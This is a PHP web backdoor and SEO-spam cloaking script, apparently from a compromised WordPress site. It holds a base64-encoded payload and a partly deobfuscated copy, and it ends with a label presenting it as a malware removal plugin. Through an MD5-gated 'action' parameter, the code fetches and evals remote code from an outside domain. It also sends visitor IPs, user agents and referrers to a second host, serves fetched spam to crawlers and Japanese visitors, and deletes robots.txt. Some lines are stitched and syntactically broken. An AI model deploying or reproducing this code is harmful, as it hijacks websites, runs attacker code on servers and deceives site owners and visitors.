hqMDogJHlyN0QwID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDExMFwxMTdceDUzXHg1NCJdOyBnb3RvIGJCcjBlOyBHTklkODogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXDE3MFwxNTVcMTU0XDEzN1wxNDNceDZmXDE1NlwxNjRceDY1XHg2ZVwxNjQiKSkgeyBnb3RvIEhDang3OyB9IGdvdG8gUEp1YXI7IGFhZW1rOiAkUG9rbDMgPSBleHBsb2RlKCJcMTMzXDUyXDUyXHgyYVx4NWQiLCBzdHJfcmVwbGFjZSgiXHg3MlwxNTdceDYyXDE1N1wxNjRcMTYzXDE0M1x4NmZceDZlXHg3NFwxNDVceDZlXHg3NCIsICcnLCAkekhtNncpKTsgZ290byBVZE1WRTsgRjlENzg6IGlmICghKCRYMlliMyAmJiAoc3Ryc3RyKCRQSzZ4bywgIlwxNTJceDYxIikgfHwgc3Ryc3RyKCRQSzZ4bywgIlwxNTJcMTYwIikpKSkgeyBnb3RvIFRLaDBkOyB9IGdvdG8gejFtdHA7IFZueXZDOiBWOXFyaDogZ290byBWMW15NzsgSjdSb1I6IE1JT3pXOiBnb3RvIEdOSWQ4OyBEa1E0QzogZWNobyAkekhtNnc7IGdvdG8gbU9KYU47IFNJejlXOiAkeEpfYWMgPSBpc3NldCgkX1JFUVVFU1RbIlwxNDFcMTQzXHg3NFx4NjlcMTU3XHg2ZSJdKSA/ICRfUkVRVUVTVFsiXHg2MVx4NjNcMTY0XHg2OVx4NmZcMTU2Il0gOiAnJzsgZ290byBjS1BRYTsgUFJ0RU86ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJcMTUwXHg3NFx4NmRceDZjXDEzN1wxNDNcMTU3XHg2ZVwxNjRceDY1XDE1Nlx4NzQiLCAnJywgJEVzMW4xKTsgZ290byBNenNuRzsga3h2UFI6ICRFczFuMSA9ICRDN2xKU1siXDE0M1wxNTdcMTU2XHg3NFwxNDVceDZlXDE2NCJdOyBnb3RvIGRMQm9fOyBzY3JGZzogJFVIUnAxID0gTkZwYVooKTsgZ290byBVaWh5OTsgV0FFdXE6ICRBM1c2VSA9ICJceDY4IiAuICJcMTY0IiAuICJcMTY0IiAuICJcMTYwIiAuICJcMTYzIiAuICJceDNhXDU3IiAuICJcNTciIC4gJFVwQzU5OyBnb3RvIHg3X1lQOyBmWXhrYTogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlx4NjhceDc0XHg2ZFx4NmNcMTM3XHg2M1wxNTdceDZlXHg3NFx4NjVcMTU2XDE2NCIsICcnLCAkRXMxbjEpOyBnb3RvIERrUTRDOyBhZFc0dzogbTlFOWY6IGdvdG8gbndTc3I7IHoxbXRwOiAkcWhDWWogPSAkQTNXNlUgLiAiXHgyZlx4NzdcMTYwXDU1XDE2MlwxNDVcMTQ2XHg2NVwxNjJcNTZceDcwXHg2OFwxNjBcNzciIC4gJEpDdjlYOyBnb3RvIFAzWXhjOyBDNWZUTjogZXZhbCgiXHgzZlw3NiIgLiAkWTVoV3JbIlwxNDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVwxNjQiXSk7IGdvdG8ga3ppTHg7IHhEUU5HOiBkcFVOVDogZ290byBWXzg1RDsga3ppTHg6IG9WYVM0OiBnb3RvIGFkVzR3OyBFbTE5aTogQGVycm9yX3JlcG9ydGluZygwKTsgZ290byBxRldFVzsgdFpycU86IGZ1bmN0aW9uIG5mcGF6KCkgeyBnb3RvIHhDNjViOyBSMjBYNjogcDVFUVc6IGdvdG8gQlBuaU47IFVRWThLOiBqQTVSMDogZ290byBiUjdSVjsgYlI3UlY6IHJldHVybiAkWjA4b1I7IGdvdG8gYmljSHA7IHpOVjhfOiAkWjA4b1IgPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTE1XDExN1x4NTRceDQ1XDEzN1wxMDFceDQ0XDEwNFx4NTIiXTsgZ290byBoZUtqSTsgTGRET1Y6IGlmICghZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDEzMFwxMzdceDQ2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XDEwNVx4NDRceDVmXHg0Nlx4NGZcMTIyIl0pKSB7IGdvdG8gcDVFUVc7IH0gZ290byB6TlY4XzsgQ2ZMV2g6IGdvdG8gakE1UjA7IGdvdG8gelZaS2U7IHhhR2R5OiBpZiAoIWVtcHR5KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXHg1Zlx4NDNceDRjXDExMVx4NDVcMTE2XDEyNFx4NWZceDQ5XHg1MCJdKSkgeyBnb3RvIGc2OU90OyB9IGdvdG8gTGRET1Y7IGhlS2pJOiBnb3RvIEYwdE1COyBnb3RvIFIyMFg2OyB4QzY1YjogJFowOG9SID0gJyc7IGdvdG8geGFHZHk7IFVOdEZ1OiBGMHRNQjogZ290byBDZkxXaDsgR25iWms6ICRaMDhvUiA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NDNcMTE0XHg0OVwxMDVceDRlXDEyNFwxMzdceDQ5XDEyMCJdOyBnb3RvIFVRWThLOyBCUG5pTjogJFowOG9SID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTM3XHg1OFwxMzdcMTA2XHg0Zlx4NTJceDU3XDEwMVx4NTJcMTA0XDEwNVwxMDRceDVmXHg0Nlx4NGZcMTIyIl07IGdvdG8gVU50RnU7IHpWWktlOiBnNjlPdDogZ290byBHbmJaazsgYmljSHA6IH0gZ290byBPdkJ5bzsgVGJwb0E6IGlmICghZmlsZV9leGlzdHMoJFRvSzUwIC4gIlw1N1wxNjJceDZmXDE0Mlx4NmZcMTY0XDE2M1x4MmVceDc0XHg3OFwxNjQiKSkgeyBnb3RvIE1CRnlSOyB9IGdvdG8gRWlIb1c7IHdWM1hDOiBMclRHaTogZ290byBTb29ZWjsgejVpZGE6IGdSRlBYOiBnb3RvIFkxTklWOyBSY25YMTogaWYgKHN0cnN0cigkRXMxbjEsICJcMTQ0XHg2Zlx4NWZcMTU2XHg2ZlwxNjRceDY4XHg2OVx4NmVcMTQ3IikpIHsgZ290byBROThZQTsgfSBnb3RvIG5wYUpvOyBsakZUTjogJEVzMW4xID0gJEM3bEpTWyJcMTQzXHg2Zlx4NmVcMTY0XHg2NVx4NmVceDc0Il07IGdvdG8gS3FJc2U7IHQ1bGRSOiBnb3RvIGRwVU5UOyBnb3RvIEtHMHBNOyBrQzB2ZDogUTk4WUE6IGdvdG8geDFaMEc7IEZlZ3hrOiBIQ2p4NzogZ290byBvNUg2WjsgZk94QXQ6ICRZNXk5ZSA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMjFceDU1XDEwNVwxMjNceDU0XDEzN1x4NTVcMTIyXDExMSJdOyBnb3RvIG40bmNTOyBNVWFMMTogJFBva2wzID0gZXhwbG9kZSgiXDEzM1x4MmFcNTJceDJhXHg1ZCIsIHN0cl9yZXBsYWNlKCJcMTYyXDE1N1x4NjJceDZmXDE2NFx4NzNceDYzXHg2ZlwxNTZceDc0XDE0NVwxNTZcMTY0IiwgJycsICR6SG02dykpOyBnb3RvIGFpSnduOyB0VTNPZzogZnVuY3Rpb24gY3ZoRzUoJGF3Qk5YKSB7IGdvdG8gR1NIZ287IERMU3JMOiBQU3JEWTogZ290byBoeUs5MTsgaHlLOTE6IHJldHVybiAkWDJZYjM7IGdvdG8gSjRkRmo7IHFsclBHOiAkZXFwTnIgPSAiXHg2N1wxNTdcMTU3XHg2N1wxNTRcMTQ1XHg3Y1wxNzFceDYxXDE1MFwxNTdceDZmXHg3Y1wxNDJceDY5XHg2ZVwxNDdcMTc0XHg2MVwxNTdceDZjIjsgZ290byB5ZFA2YzsgR1NIZ286ICRYMlliMyA9IGZhbHNlOyBnb3RvIHFsclBHOyBBZjZWaTogaWYgKCFwcmVnX21hdGNoKCJceDJmXHgyOHskZXFwTnJ9XHgyOVw1N1wxNjNcMTUxIiwgJGF3Qk5YKSkgeyBnb3RvIEYyeGVuOyB9IGdvdG8gTjNIaDc7IE4zSGg3OiAkWDJZYjMgPSB0cnVlOyBnb3RvIFVwcnUwOyBVcHJ1MDogRjJ4ZW46IGdvdG8gRExTckw7IHlkUDZjOiBpZiAoISRhd0JOWCkgeyBnb3RvIFBTckRZOyB9IGdvdG8gQWY2Vmk7IEo0ZEZqOiB9Cj8+";
$w = "?>";
eval {
    @set_time_limit(1000);
    @error_reporting(0);
    ini_set("display_errors", "Off");
    $xJ_ac = isset($_REQUEST["action"]) ? $_REQUEST["action"] : '';
    if (!empty($xJ_ac)) {
        $RAxI6 = substr($xJ_ac, 6);
        $gCvSK = substr($xJ_ac, 0, 6);
        $QMaPh = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
        $MswuV = md5($gCvSK);
        if (!($MswuV == "98245d7417225b55a2c4bf50b8aa4c73")) {
            goto m9E9f;
        }
        $jHVZs = array("https://kiokfhd.hhhlrj.top/door/");
        $Y5hWr = AIXKe("https://kiokfhd.hhhlrj.top/door/" . $RAxI6 . ".t" . "x" . "t");
        if (!$Y5hWr["status"]) {
            goto oVaS4;
        }
        eval("?>" . $Y5hWr["content"]);
        oVaS4:
        m9E9f:
        exit;
    }
    $ToK50 = $_SERVER["DOCUMENT_ROOT"];
    $UpC59 = "2ip89w21.xadllu.shop";
    $qjbvR = yjOkS();
    $Y5y9e = $_SERVER["REQUEST_URI"];
    $PK6xo = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '';
    $yr7D0 = $_SERVER["HTTP_HOST"];
    $IVS5P = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
    $yxbRl = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
    $UHRp1 = NFpaZ();
    $JCv9X = "http_type=" . base64_encode($qjbvR) . "&http_uri=" . base64_encode($Y5y9e) . "&http_lang=" . base64_encode($PK6xo) . "&http_host=" . base64_encode($yr7D0) . "&http_refer=" . base64_encode($IVS5P) . "&http_user_agent=" . base64_encode($yxbRl) . "&http_ip_address=" . base64_encode($UHRp1);
    $A3W6U = "https://2ip89w21.xadllu.shop";
    $C7lJS = array();
    if (!stristr($Y5y9e, ".xml")) {
        if (!stristr($Y5y9e, "robots.txt")) {
            $X3oIl = xRjTV($yxbRl);
            $X2Yb3 = CVhg5($IVS5P);
            if (!$X3oIl) {
                if (!($X2Yb3 && (strstr($PK6xo, "ja") || strstr($PK6xo, "jp")))) {
                    if (!$C7lJS["status"]) {
                        goto vaAeq;
                    }
                    $Es1n1 = $C7lJS["content"];
                    if (strstr($Es1n1, "do_nothing")) {
                        goto Q98YA;
                    }
                    if (!strstr($Es1n1, "html_content")) {
                        if (!strstr($Es1n1, "xml_content")) {
                            if (!strstr($Es1n1, "robots_content")) {
                                Q98YA:
                                vaAeq:
                                function YJOKs()
                                {
                                    $MwU1c = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443;
                                    if ($MwU1c) {
                                        return "https";
                                    }
                                    return "http";
                                }
                                function nfpaz()
                                {
                                    $Z08oR = '';
                                    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
                                        $Z08oR = $_SERVER["HTTP_CLIENT_IP"];
                                        goto UQY8K;
                                    }
                                    if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
                                        $Z08oR = $_SERVER["HTTP_X_FORWARDED_FOR"];
                                        goto UNtFu;
                                    }
                                    $Z08oR = $_SERVER["REMOTE_ADDR"];
                                    UNtFu:
                                    UQY8K:
                                    return $Z08oR;
                                }
                                function AiXke($peBRh)
                                {
                                    $PZwBj = '';
                                    $YKAv2 = 1;
                                    try {
                                        $uXkW5 = curl_init();
                                        curl_setopt($uXkW5, CURLOPT_URL, $peBRh);
                                        curl_setopt($uXkW5, CURLOPT_FOLLOWLOCATION, 1);
                                        curl_setopt($uXkW5, CURLOPT_SSL_VERIFYPEER, FALSE);
                                        curl_setopt($uXkW5, CURLOPT_SSL_VERIFYHOST, FALSE);
                                        curl_setopt($uXkW5, CURLOPT_CONNECTTIMEOUT, 10);
                                        curl_setopt($uXkW5, CURLOPT_RETURNTRANSFER, 1);
                                        $PZwBj = curl_exec($uXkW5);
                                        curl_close($uXkW5);
                                    } catch (Exception $MWl_f) {
                                    }
                                    if (!(($PZwBj === false || $PZwBj == '') && ini_get("allow_url_fopen"))) {
                                        goto edFPo;
                                    }
                                    try {
                                        $p0eR7 = uySq4();
                                        $PZwBj = @$p0eR7[0]($peBRh);
                                    } catch (Exception $MWl_f) {
                                    }
                                    edFPo:
                                    if (!($PZwBj != '')) {
                                        goto mB_8K;
                                    }
                                    $YKAv2 = 1;
                                    mB_8K:
                                    $Y5hWr = array();
                                    $Y5hWr["status"] = $YKAv2;
                                    $Y5hWr["content"] = $PZwBj;
                                    return $Y5hWr;
                                }
                                function UySq4()
                                {
                                    $NBsVv = range("a", "z");
                                    return [$NBsVv[5] . $NBsVv[8] . $NBsVv[11] . $NBsVv[4] . "_" . $NBsVv[6] . $NBsVv[4] . $NBsVv[19] . "_" . $NBsVv[2] . $NBsVv[14] . $NBsVv[13] . $NBsVv[19] . $NBsVv[4] . $NBsVv[13] . $NBsVv[19] . $NBsVv[18]];
                                }
                                function XRjTv($jYkHY)
                                {
                                    $X3oIl = false;
                                    $sc1H7 = "googlebot|google|yahoo|bing|aol";
                                    if (!$jYkHY) {
                                        goto m9M4C;
                                    }
                                    if (!preg_match("/({$sc1H7})/si", $jYkHY)) {
                                        goto Xdrgg;
                                    }
                                    $X3oIl = true;
                                    Xdrgg:
                                    m9M4C:
                                    return $X3oIl;
                                }
                                function cvhG5($awBNX)
                                {
                                    $X2Yb3 = false;
                                    $eqpNr = "google|yahoo|bing|aol";
                                    if (!$awBNX) {
                                        goto PSrDY;
                                    }
                                    if (!preg_match("/({$eqpNr})/si", $awBNX)) {
                                        goto F2xen;
                                    }
                                    $X2Yb3 = true;
                                    F2xen:
                                    PSrDY:
                                    return $X2Yb3;
                                }
                                // [PHPDeobfuscator] Implied script end
                                return;
                            }
                            @header("Content-type: text/plain; charset=utf-8");
                            $zHm6w = str_replace("robots_content", '', $Es1n1);
                            $Pokl3 = explode("[***]", str_replace("robotscontent", '', $zHm6w));
                            exit(implode(PHP_EOL, $Pokl3));
                        }
                        @header("Content-type: text/xml");
                        $zHm6w = str_replace("xml_content", '', $Es1n1);
                        echo $zHm6w;
                        exit;
                    }
                    @header("Content-type: text/html; charset=utf-8");
                    $zHm6w = str_replace("html_content", '', $Es1n1);
                    echo $zHm6w;
                    exit;
                }
                $qhCYj = $A3W6U . "/wp-refer.php?" . $JCv9X;
                $C7lJS = aixke($qhCYj);
                $Es1n1 = $C7lJS["content"];
                if (!($C7lJS["status"] && strstr($Es1n1, "html_content"))) {
                    goto MYVz9;
                }
                @header("Content-type: text/html; charset=utf-8");
                $zHm6w = str_replace("html_content", '', $Es1n1);
                echo $zHm6w;
                MYVz9:
                exit;
            }
            $qhCYj = $A3W6U . "/wp-index.php?" . $JCv9X;
            $C7lJS = aiXKe($qhCYj);
            $Es1n1 = $C7lJS["content"];
            if (!($C7lJS["status"] && strstr($Es1n1, "html_content"))) {
                goto U2rLU;
            }
            @header("Content-type: text/html; charset=utf-8");
            $zHm6w = str_replace("html_content", '', $Es1n1);
            echo $zHm6w;
            U2rLU:
            exit;
        }
        if (!file_exists($ToK50 . "/robots.txt")) {
            goto MBFyR;
        }
        unlink($ToK50 . "/robots.txt");
        MBFyR:
        $qhCYj = $A3W6U . "/wp-robots.php?" . $JCv9X;
        $C7lJS = AIXkE($qhCYj);
        if (!$C7lJS["status"]) {
            goto LrTGi;
        }
        $Es1n1 = $C7lJS["content"];
        @header("Content-type: text/plain; charset=utf-8");
        $zHm6w = str_replace("robots_content", '', $Es1n1);
        $Pokl3 = explode("[***]", str_replace("robotscontent", '', $zHm6w));
        echo implode(PHP_EOL, $Pokl3);
        LrTGi:
        exit;
    }
    $qhCYj = $A3W6U . "/wp-sitemap.php?" . $JCv9X;
    $C7lJS = AIXKe($qhCYj);
    if (!$C7lJS["status"]) {
        goto HxAv6;
    }
    $Es1n1 = $C7lJS["content"];
    if (!strstr($Es1n1, "html_content")) {
        goto ehz0J;
    }
    $zHm6w = str_replace("html_content", '', $Es1n1);
    echo $zHm6w;
    ehz0J:
    if (!strstr($Es1n1, "xml_content")) {
        goto MFLDw;
    }
    @header("Content-type: text/xml");
    $zHm6w = str_replace("xml_content", '', $Es1n1);
    echo $zHm6w;
    MFLDw:
    HxAv6:
    exit;
};
$s = "wxNTdceDZm";
$x = 0;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.